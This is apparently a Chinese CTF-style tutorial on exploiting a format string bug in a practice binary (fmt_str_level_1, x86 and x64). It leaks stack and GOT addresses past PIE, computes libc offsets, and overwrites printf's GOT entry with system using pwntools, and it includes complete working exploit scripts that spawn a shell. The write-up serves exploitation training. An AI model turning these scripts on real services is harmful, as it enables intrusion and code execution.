【你想有多PWN】fmt_test2
收获
利用格式化字符串泄露栈中的数据,判断输入的数据位于栈空间的哪个位置
在程序开启 PIE 时,利用格式化字符串漏洞泄露栈上的真实返回地址,然后根据 ELF 文件中函数的偏移推算出其他函数的真实地址
根据已经泄露的真实地址,利用 libc 偏移计算
system()
和b'/bin/sh'
的地址使用 Pwntools 中的
fmtstr_payload()
构造格式化字符串的利用,将printf()
的 GOT 表地址修改为system_plt
注意 32 位程序与 64 位程序在使用
%参数顺序$格式化说明符
进行地址泄露时的区别
fmt_str_level_1_x86
源代码如下:(这里 gcc 编译时使用 -z lazy
来实现 Partial RELRO)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int dofunc(){
char buf[0x100] ;
while(1){
puts("input:");
read(0,buf,0x100);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_str_level_1.c -z lazy -o fmt_str_level_1_x64
//gcc -m32 fmt_str_level_1.c -z lazy -o fmt_str_level_1_x86
还是老规矩,先熟悉一下 IDA:(虽然给了源代码hhh)
明显在 printf(buf)
处存在格式化字符串漏洞
看一眼保护,32 位小端序,RELRO 开了一半,其余全开:
由于这里有个 while 循环一直调用 printf 函数,且 RELRO 为 Partial RELRO,因此可以考虑将
printf()
的 GOT 表地址修改为system_plt
,然后调用printf()
输出b'/bin/sh'
即可实现system("/bin/sh")
但是由于程序开启了 PIE 地址随机化,因此 printf()
的 GOT 表地址未知,也不知道其他任何函数的真实地址
所以首先思路就是通过格式化字符串漏洞来泄露一些地址
定位并泄露栈中的数据
首先 gdb 调试 fmt_str_level_1_x86
程序:
执行到 read()
输入的地方,输入:
aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
执行到 printf()
处观察输出结果:
aaaa_0x5655700f_0x4_0x565562e5_0xf7ffd000_0x20_(nil)_0x61616161_0x5f70255f_0x255f7025_0x70255f70_0x5f70255f_0x255f7025
���T���4���������tV��\�������0x5655634f
可以看到 0x61616161
就是刚刚输入的 aaaa
,位于第 7 个位置
可以通过查看栈来验证一下:
由于需要泄露真实地址,这里选择泄露栈上的返回地址(通常选择返回地址,不会受栈中的数据影响)
找到 EBP 所在位置,由于栈空间比较长,这里使用:
(gdb) stack 100
可以看到 EBP 位于 0xffffcdb8
地址处,栈的返回地址紧随其后位于 0xffffcdbc
地址处,得知返回地址 main+30
的地址为:0x5655638e
注意:由于程序开启了 PIE,这里看到的
main+30
的地址其实是随机的,不过,不论地址怎么变,栈的结构是不会变的(虽然地址是随机的,但由于操作系统的分页管理机制,地址的最低三位通常是不变的)因此,可以通过计算
main+30
在栈中的位置,然后利用格式化字符串漏洞将其泄露出来
刚刚得知输入的 aaaa
位于栈中的第 7 个位置,存放在地址 0xffffccac
处
计算可知 main+30
所在位置与 aaaa
相距:(0xffffcdbc - 0xffffccac) / 4 = 68
所以 main+30
在栈中位于第 68 + 7 = 75
个位置,构造 printf(%75$p)
即可将其泄露
验证一下:
泄露出来的地址与 main+30
的地址 0x5655638e
一致
于是,将 printf(%75$p)
泄露出来的地址减去 30 就可以得到真实的 main 函数地址了:
io.recvuntil(b'input:\n')
payload = b'%75$p'
io.sendline(payload)
ret_main_addr = int(io.recv()[2:10], 16)
print("ret_main_addr -->", hex(ret_main_addr))
main_addr = ret_main_addr - 30
print("main_addr -->", hex(main_addr))
利用 ELF 的函数偏移计算真实地址
由于 ELF 文件中函数之间的偏移不变,所以
elf.symbols["main"] - elf.got["puts"]
应该与真实的main_addr - puts_got_addr
相同而真实的
main_addr
已经通过前面的泄露和计算得知了,因此可以计算出puts_got_addr
elf = ELF("./fmt_str_level_1_x86")
main_puts_offset = elf.symbols["main"] - elf.got["puts"]
puts_got_addr = main_addr - main_puts_offset
print("puts_got_addr -->", hex(puts_got_addr))
由于我们要使用 fmtstr_payload()
将 printf()
的 GOT 表地址修改为 system_plt
,因此还需要得到 printf_got_addr
计算方法与 puts_got_addr
一样,利用 ELF 的函数偏移计算即可:
main_printf_offset = elf.symbols["main"] - elf.got["printf"]
printf_got_addr = main_addr - main_printf_offset
print("printf_got_addr -->", hex(printf_got_addr))
利用 libc 偏移计算 system 地址
接下来还需要知道 system()
的真实地址,但是程序中并没有使用 system()
,因此只能通过 libc 偏移来计算,这样就需要知道 puts()
或者 printf()
其一的真实地址(这些函数的实现来自于 libc,程序只负责调用)
以 puts()
为例:
由于我们已经得到了 puts_got_addr
,该 GOT 表地址上存放的就是真实的 puts_addr
,因此只需要将 puts_got_addr
这个地址上的值泄露出来即可
通过前面的分析已经知道,我们输入的内容在第 7 个位置,于是构造:
payload = p32(puts_got_addr) + b'%7$s'
io.sendline(payload)
接收的数据中,前面的 4 字节 18 50 93 61
即是 p32(puts_got_addr)
的地址(小端序),紧随其后的 4 字节就是 b'%7$s'
泄露出的 puts_addr
(小端序)
io.recv(4)
puts_addr = u32(io.recv(4))
print("puts_addr -->", hex(puts_addr))
然后,利用真实地址 puts_addr
计算 libc 偏移,得到 system()
的真实地址
在本地不使用 LibcSearcher 的方法
首先使用 ldd 确定程序的 libc 版本:
ldd fmt_str_level_1_x86
# 输出为:
# linux-gate.so.1 (0xed54e000)
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xed200000)
# /lib/ld-linux.so.2 (0xed550000)
# 因此 libc 为 /lib/i386-linux-gnu/libc.so.6
利用偏移计算:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libcbase = puts_addr - libc.symbols["puts"]
system_addr = libcbase + libc.symbols["system"]
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))
每计算一步获取到的值,都记得调试一下进行验证,看看结果是不是正确的
可以看到 system()
地址没有问题:
利用 glibc-all-in-one 的方法
由于我直接使用 LibcSearcher 找到的 libc 偏移计算出来的
system()
地址都不对:obj = LibcSearcher("puts", puts_addr) # obj = LibcSearcher("__GI__IO_puts", puts_addr) libcbase = puts_addr - obj.dump('puts') # 计算偏移量 # libcbase = puts_addr - obj.dump('__GI__IO_puts') # 计算偏移量 system_addr = libcbase + obj.dump('system') # 计算程序中 system() 的真实地址 bin_sh_addr = libcbase + obj.dump('str_bin_sh') # 计算程序中'/bin/sh'的真实地址
所以这里通过在线网站查找:libc database search
为了更精确的查找,多加几个限制条件
刚刚通过调试我们知道:puts()
的最低三位为 0x2a0
,system()
最低三位为 0x170
然后 b'/bin/sh'
最低三位为 0x0d5
即使地址是随机的,但是最低三位是不变的,因此搜索一下:
有三个 libc 满足条件,我这里选择 libc6_2.35-0ubuntu3.7_i386
然后使用 glibc-all-in-one 下载对应版本的 libc:
然后将 libc 路径更改为:
libc = ELF('/opt/glibc-all-in-one/libs/2.35-0ubuntu3.7_i386/libc.so.6')
关于如何使用 glibc-all-in-one 详见《Pwntools与exp技巧》一文
使用 fmtstr_payload 修改 GOT 表
最后,利用 fmtstr_payload()
构造格式化字符串利用,将 printf_got_addr
修改为 system_plt
地址即可
根据输入的数据位于第 7 个位置:
payload_write_printf_got = fmtstr_payload(7, {printf_got_addr: system_addr})
io.sendline(payload_write_printf_got)
向 printf()
传递参数 b'/bin/sh'
即可构造 system("/bin/sh")
io.sendline(b'/bin/sh')
完整脚本
from pwn import *
# 设置系统架构, 打印调试信息
context(os='linux', arch='i386', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./fmt_str_level_1_x86")
# 附加 gdb 调试
def debug(cmd=""):
gdb.attach(io, cmd)
pause()
# 泄露并计算 main 函数真实地址
io.recvuntil(b'input:\n')
payload = b'%75$p'
io.sendline(payload)
ret_main_addr = int(io.recv()[2:10], 16)
print("ret_main_addr -->", hex(ret_main_addr))
main_addr = ret_main_addr - 30
print("main_addr -->", hex(main_addr))
# 根据 main 函数的真实地址计算 puts 函数的 GOT 表地址
elf = ELF("./fmt_str_level_1_x86")
main_puts_offset = elf.symbols["main"] - elf.got["puts"]
puts_got_addr = main_addr - main_puts_offset
print("puts_got_addr -->", hex(puts_got_addr))
# 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址
payload = p32(puts_got_addr) + b'%7$s'
io.sendline(payload)
io.recv(4)
puts_addr = u32(io.recv(4))
print("puts_addr -->", hex(puts_addr))
# 根据 puts 函数的真实地址与 libc 偏移计算 system 函数地址
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc = ELF('/opt/glibc-all-in-one/libs/2.35-0ubuntu3.7_i386/libc.so.6')
libcbase = puts_addr - libc.symbols["puts"]
system_addr = libcbase + libc.symbols["system"]
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))
print("libcbase -->", hex(libcbase))
print("system_addr -->", hex(system_addr))
print("bin_sh_addr -->", hex(bin_sh_addr))
# 根据 main 函数的真实地址计算 printf 函数的 GOT 表地址
main_printf_offset = elf.symbols["main"] - elf.got["printf"]
printf_got_addr = main_addr - main_printf_offset
print("printf_got_addr -->", hex(printf_got_addr))
# 利用 fmtstr_payload 将 printf 函数的 GOT 表地址改为 system 函数
payload_write_printf_got = fmtstr_payload(7, {printf_got_addr: system_addr})
# debug()
io.sendline(payload_write_printf_got)
# 向 printf 发送 b'/bin/sh' 构造 system("/bin/sh")
io.sendline(b'/bin/sh')
# 与远程交互
io.interactive()
结果
fmt_str_level_1_x64
主要在 “定位并泄露栈中的数据” 和 “利用 libc 偏移计算 system 地址” 两节中与 32 位程序有所区别
定位并泄露栈中的数据
准备工作与前面一样,就不再详细说明了
首先调试 fmt_str_level_1_x64
程序,在 read()
处输入:
aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
查看输出:
aaaaaaaa_0x55555555600b_0x71_0xffffffff_0x6_0x7ffff7fc9040_0x6161616161616161_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0x255f70255f70255f_0xa70255f70_(nil)
可以看到 0x6161616161616161
位于第 6 个位置,即 RSP 所指向的位置(因为在 64 位程序中 printf 函数的前 6 个参数位于寄存器中,第 7 个参数才开始入栈;而 32 位程序 printf 函数的参数都存放在栈中,这是 64 位程序与 32 位程序不同的地方)
与 32 位程序同理,计算可知栈中的返回地址位于:6 + (0x7fffffffdad8 - 0x7fffffffd9c0) / 8 = 6 + 35 = 41
构造 printf(%41$p)
即可泄露出 main+28
的真实地址,于是 main()
的真实地址为:
io.recvuntil(b'input:\n')
payload = b'%41$p'
io.sendline(payload)
ret_main_addr = int(io.recv()[2:14], 16)
print("ret_main_addr -->", hex(ret_main_addr))
main_addr = ret_main_addr - 28
print("main_addr -->", hex(main_addr))
利用 ELF 的函数偏移计算真实地址
与 32 位一样,根据 ELF 的函数偏移地址计算 puts_got_addr
和 printf_got_addr
elf = ELF("./fmt_str_level_1_x64")
main_puts_offset = elf.symbols["main"] - elf.got["puts"]
puts_got_addr = main_addr - main_puts_offset
print("puts_got_addr -->", hex(puts_got_addr))
main_printf_offset = elf.symbols["main"] - elf.got["printf"]
printf_got_addr = main_addr - main_printf_offset
print("printf_got_addr -->", hex(printf_got_addr))
利用 libc 偏移计算 system 地址
要使用 libc 计算偏移,首先需要知道一个调用自 libc 的函数的真实地址
这里还是选择通过 puts_got_addr
泄露真实 puts()
地址作为示例
注意:这里与 32 位程序有所不同!!!
如果依然使用类似于 32 位程序中的方法,在接收地址时会发生错误:
# 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址 payload = p64(puts_got_addr) + b'%6$s' io.sendline(payload) io.recv(6) puts_addr = u64(io.recv(6).ljust(8, b'\x00')) print("puts_addr -->", hex(puts_addr))
虽然说我们接收到的数据
0x3a7475706e69
来自69 6e 70 75 74 3a
(小端序)没有问题,但实际上puts()
的真实地址是错误的:原因在于:
- 32 位程序的地址占 4 字节,通常 4 字节全部被使用
- 64 位程序的地址虽然占 8 字节,但通常只使用了其中的 6 字节
实际
puts_got_addr
的地址0x56c4b37f8020
只使用了 6 字节,这就导致我们在发送p64(puts_got_addr)
的时候,高位 2 字节被补为0x00
,最后的地址为:0x000056c4b37f8020
即上图桃红色方框中的:
20 80 7f b3 c4 56 00 00
(小端序)而这里的
0x00
会导致我们发送的 payload 被截断,因此无法达到printf(%6$s)
的效果
所以这里为了避免被截断,我们不能在 %参数顺序$格式化说明符
之前发送 p64(puts_got_addr)
应该先发送 %参数顺序$格式化说明符
,再发送 p64(puts_got_addr)
于是栈中的结构应该变为:
因为先发送 %参数顺序$格式化说明符
,所以 p64(puts_got_addr)
应该位于第 7 个位置,将原来的 b'%6$s'
改为 b'%7$s'
同时,64 位程序一个地址存放 8 字节,而 b'%7$s'
只有 4 字节,因此还需要填补 4 字节的垃圾数据,例如:b'%7$saaaa'
因此脚本应该改为:
# 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址
payload = b'%7$saaaa' + p64(puts_got_addr)
io.sendline(payload)
# 此时泄漏的地址位于最开始,因此直接从第一个字节开始接收
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts_addr -->", hex(puts_addr))
可以看到这次没有被 0x00
截断,puts()
的真实地址也是正确的
其他的基本与 32 位一样,最后使用 fmtstr_payload()
时将偏移改为 6 即可
完整脚本
from pwn import *
# 设置系统架构, 打印调试信息
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./fmt_str_level_1_x64")
# 附加 gdb 调试
def debug(cmd=""):
gdb.attach(io, cmd)
pause()
# 泄露并计算 main 函数真实地址
io.recvuntil(b'input:\n')
payload = b'%41$p'
io.sendline(payload)
ret_main_addr = int(io.recv()[2:14], 16)
print("ret_main_addr -->", hex(ret_main_addr))
main_addr = ret_main_addr - 28
print("main_addr -->", hex(main_addr))
# 根据 main 函数的真实地址计算 puts 函数的 GOT 表地址
elf = ELF("./fmt_str_level_1_x64")
main_puts_offset = elf.symbols["main"] - elf.got["puts"]
puts_got_addr = main_addr - main_puts_offset
print("puts_got_addr -->", hex(puts_got_addr))
# 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址
payload = b'%7$saaaa' + p64(puts_got_addr)
io.sendline(payload)
# 此时泄漏的地址位于最开始,因此直接从第一个字节开始接收
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts_addr -->", hex(puts_addr))
# 根据 puts 函数的真实地址与 libc 偏移计算 system 函数地址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/opt/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6')
libcbase = puts_addr - libc.symbols["puts"]
system_addr = libcbase + libc.symbols["system"]
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))
print("libcbase -->", hex(libcbase))
print("system_addr -->", hex(system_addr))
print("bin_sh_addr -->", hex(bin_sh_addr))
main_printf_offset = elf.symbols["main"] - elf.got["printf"]
printf_got_addr = main_addr - main_printf_offset
print("printf_got_addr -->", hex(printf_got_addr))
payload_write_printf_got = fmtstr_payload(6, {printf_got_addr: system_addr})
# debug()
io.sendline(payload_write_printf_got)
io.sendline(b'/bin/sh')
# 与远程交互
io.interactive()